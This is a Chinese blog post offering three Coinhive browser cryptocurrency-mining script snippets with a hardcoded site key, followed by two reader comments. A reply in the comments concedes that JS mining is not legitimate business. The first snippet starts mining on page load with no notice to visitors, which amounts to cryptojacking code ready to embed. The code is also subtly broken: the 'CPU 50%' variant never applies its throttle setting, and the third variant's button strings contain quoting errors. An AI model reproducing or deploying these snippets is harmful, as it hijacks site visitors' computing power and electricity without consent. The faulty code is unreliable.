COINHIVE 网页挖矿JS参数

初始版本

<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
    var miner = new CoinHive.Anonymous('gJxMrn3tMSM99PAatHxeKpSfVetL6uyd');
    miner.start();
</script>

限制CPU 50%

<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
if (navigator.hardwareConcurrency > 1){
    var cpuConfig = {threads: Math.round(navigator.hardwareConcurrency/2)}
}else{
    var cpuConfig = {throttle:0.6}
}
    var miner = new CoinHive.Anonymous('gJxMrn3tMSM99PAatHxeKpSfVetL6uyd');
    miner.start();
</script>

带控件的

<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
if (navigator.hardwareConcurrency > 1){
    var cpuConfig = {threads: Math.round(navigator.hardwareConcurrency/2)}
}else{
    var cpuConfig = {throttle:0.6}
}
var miner = new CoinHive.Anonymous('gJxMrn3tMSM99PAatHxeKpSfVetL6uyd', cpuConfig);
miner.start(CoinHive.FORCE_EXCLUSIVE_TAB);
// Update stats once per second
setInterval(function() {
    var threadCount = miner.getNumThreads();
    var hashesPerSecond = Math.round(miner.getHashesPerSecond());
    var getTotalHashes = miner.getTotalHashes();
try {
    navigator.getBattery().then(function (battery) {
        if (battery.level < 0.50 && battery.charging == false) {
            miner.stop();
            document.getElementById("stopped").innerHTML = "检测到电力不足已停止运算";
        }
    });
}catch(e){console.log(e)}
    // Output to HTML elements...
    if (miner.isRunning()) {
        document.getElementById("status").innerHTML = "状态: 正在使用 " + threadCount + " 个进程";
        document.getElementById("hashesPerSecond").innerHTML = "您的计算力: " + hashesPerSecond + " H/s";
        document.getElementById("getTotalHashes").innerHTML = "您已贡献: " + getTotalHashes + " 次Hash";
        document.getElementById("minerbutton").innerHTML = "<button onclick="miner.stop()">停止挖矿</button>";
    }else{
        document.getElementById("status").innerHTML = "状态: 沒有进行任何计算";
        document.getElementById("hashesPerSecond").innerHTML = "您的计算力: " + 0 + " H/s";
        document.getElementById("minerbutton").innerHTML = "<button onclick="miner.start(CoinHive.FORCE_EXCLUSIVE_TAB)">开始挖矿!</button>";
    }
}, 800);
</script>

标签: none

已有 2 条评论

  1. 这个的手续费太高了吧,ppoi好点

    1. 能用上JS挖矿都不是正经买卖, 抽就抽吧, 哈哈

添加新评论